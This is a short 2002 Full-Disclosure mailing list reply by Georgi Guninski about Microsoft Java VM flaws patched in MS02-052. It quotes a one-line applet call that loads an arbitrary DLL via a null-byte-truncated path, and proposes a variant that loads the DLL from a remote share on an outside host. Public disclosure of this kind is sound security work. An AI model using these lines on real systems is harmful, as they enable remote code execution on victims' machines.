[Full-Disclosure] Technical information about the vulnerabilities fixed by MS-02-52

From: Georgi Guninski (guninski@guninski.com)
Date: 09/23/02 

From: guninski@guninski.com (Georgi Guninski)
Date: Mon, 23 Sep 2002 18:30:58 +0300

Jouko Pynnonen wrote:
>
> can be freely chosen by a malicious applet. For instance to load the DLL
> "C:\mydll.dll" the applet can do
>
> new com.ms.jdbc.odbc.JdbcOdbc("C:\\mydll\000");
>

Does
new com.ms.jdbc.odbc.JdbcOdbc("\\\\1.1.1.1\\share\\dll\000");
work?

Georgi Guninski

Quantcast